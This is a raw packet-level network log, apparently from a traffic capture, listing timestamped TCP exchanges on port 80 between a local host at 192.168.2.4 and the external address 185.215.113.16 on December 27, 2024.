Dec 27, 2024 15:04:10.285850048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.285953999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.286598921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.286654949 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.286673069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.286720037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.289541006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.290009975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.290024996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.290038109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.290049076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.290071964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.290103912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.298259020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.298305035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.298391104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.298576117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.298613071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.298717022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.299448967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.299535036 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.299576044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.300458908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.300605059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.300654888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.301326990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.301395893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.301465988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.302222013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.302361012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.302409887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.303020954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.303066969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.303201914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.303972960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.303986073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.304038048 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.318670988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.318715096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.318720102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.319009066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.319060087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.319097042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.319797993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.319839954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.320456982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.320553064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.320594072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.320903063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.321001053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.321044922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.321477890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.321614981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.322375059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.322419882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.322491884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.322527885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.323266983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.324018002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.324106932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.324148893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.324363947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.324399948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.324476957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.325108051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.325145006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.325503111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.325969934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.325998068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.326028109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.374561071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.410263062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.410305023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.410415888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.410578012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.410693884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.410810947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.410873890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.411601067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.411655903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.411673069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.411825895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.411879063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.412247896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.412379980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.413067102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.413125992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.413126945 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.413166046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.421775103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.421792984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.421890974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.422091961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.422319889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.422461033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.422514915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.423157930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.423211098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.423347950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.424137115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.424149036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.424201965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.425021887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.425076008 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.425107002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.425867081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.425910950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.425967932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.426687002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.426742077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.427031994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.427197933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.427886009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.427913904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.443078995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.443178892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.443284035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.443443060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.443495035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.443631887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.444303989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.444998980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.445014000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.445161104 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.445410967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.445425987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.445477009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.446122885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.446203947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.448153019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.448385954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.448510885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.448782921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.448837042 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.449047089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.449094057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.449814081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.450086117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.450210094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.450278044 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.450918913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.450983047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.451021910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.451775074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.451934099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.534957886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.535053968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.535192013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.535304070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.535538912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.536125898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.536190033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.536346912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.536456108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.536509037 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.537288904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.537305117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.537345886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.541444063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.541590929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.541655064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.541951895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.542002916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.542073965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.542284966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.542901993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.542943954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.542972088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.542984962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.543837070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.543852091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.543911934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.544754028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.544769049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.544822931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.545491934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.546124935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.546139002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.546195030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.547135115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.548918009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.550477028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.550600052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.550842047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.550899982 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.567323923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.567361116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.567457914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.567616940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.567666054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.567858934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.567873001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.567923069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.568629980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.569123983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.569189072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.569274902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.569674015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.569751978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.569804907 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.570503950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.570554018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.570563078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.571358919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.571891069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.572930098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.573010921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.573404074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.573456049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.573488951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.573534012 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.574418068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.574491978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.575262070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.575282097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.575309038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.575339079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.620690107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.620924950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.620997906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.659379959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.659456015 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.659529924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.659852028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.659864902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.659921885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.660670042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.660681963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.660733938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.661446095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.661576986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.661644936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.666466951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.666479111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.666548014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.666572094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.666692972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.666740894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.667560101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.667572021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.667634010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.668447018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.668654919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.668709040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.669357061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.669369936 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.669433117 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.670116901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.670273066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.670322895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.670948982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.671190977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.671242952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.671819925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.671950102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.672000885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.675784111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.675796032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.675859928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.676071882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.691581964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.691593885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.691670895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.692065954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.692099094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.692161083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.692188025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.692229033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.692929983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.693695068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.693706036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.693769932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.694205046 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.694215059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.694255114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.694991112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.695080996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.695085049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.700014114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.700067043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.700097084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.700249910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.700311899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.700356007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.701251030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.701262951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.701340914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.702131033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.702143908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.702204943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.702948093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.703032017 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.743379116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.743458033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.743562937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.743719101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.783776045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.783858061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.783868074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.784276962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.784390926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.784452915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.785098076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.785259962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.785315990 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.785979986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.786040068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.786231041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.786387920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.786475897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.787079096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.790957928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.791007996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.791075945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.791378975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.791564941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.791614056 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.792354107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.792407036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.792465925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.793198109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.793267965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.793268919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.794013023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.794255018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.794313908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.795027018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.795037985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.795080900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.795380116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.795424938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.795433998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.796363115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.800684929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.815831900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.815967083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.816036940 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:10.816330910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.816342115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:10.816411018 CET	49743	80	192.168.2.4	185.215.113.16
